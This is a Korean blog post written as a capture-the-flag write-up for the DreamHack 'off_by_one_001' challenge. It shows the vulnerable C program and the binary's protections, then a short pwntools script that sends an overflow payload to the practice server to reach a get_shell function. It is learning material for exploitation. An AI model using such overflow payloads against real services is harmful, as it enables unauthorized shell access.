Hacking/Dremahack 문제풀이

[DreamHack]off_by_one_001

미역줄기줄기 2024. 5. 30. 15:09
728x90

오랜만입니다. 개강했다고 정신줄 놓고 있다가 이대로면 해킹은 개뿔 똥멍청이가 될 것 같아서 다시 정신차리고 돌아왔습니다. 간만에 푸는 워게임이기 때문에 아주 쉬운 문제로다가 풀었습니다. 시스템 해킹을 시작하고 거의 처음으로 온전히 제 힘으로 flag를 찾은 문제입니다 ㅎㅎ.. 근데 정말 EZ함

문제 설명

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \\n");
        read(0, name, 20);
    }

    return 0;
}
  • age가 0이면 get_shell()함수를 호출한다.
  • 디스어셈블로 get_shell()함수 leak한 다음에 bof 일으키면 되지 않을까
  • name의 크기를 20으로 정의했으니 더미값으로 ‘a’*20 + ‘b’*4 갈기면 될듯

보호기법 확인

  • 32비트 아키텍처
  • 카나리 없음 → 편하게 bof 갈기면 될듯
  • NX있음 → 셸코드로 익스 X
  • PIE 없음

💡 카나리가 없음을 확인했ㄷㅏ. 즉 leak할게 따로 없다. 그냥 bof 하면 된다. 문제 코드에 get_shell()이 떡하니 있으니까 디스어셈블 해서 주소만 알아내면 된다.

main 디스어셈블

  • get_shell의 주소는 0x8048641이다.

Exploit code & 결과

from pwn import*

p=remote("host3.dreamhack.games",21082)

shell = 0x8048641

payload = b'A'*20 + b'B'*4 + p32(shell)

p.sendlineafter(b'Name: ', payload)
p.interactive()

write up을 안 보고 풀어서 기쁘지만.. 문제가 너무 쉬웠다.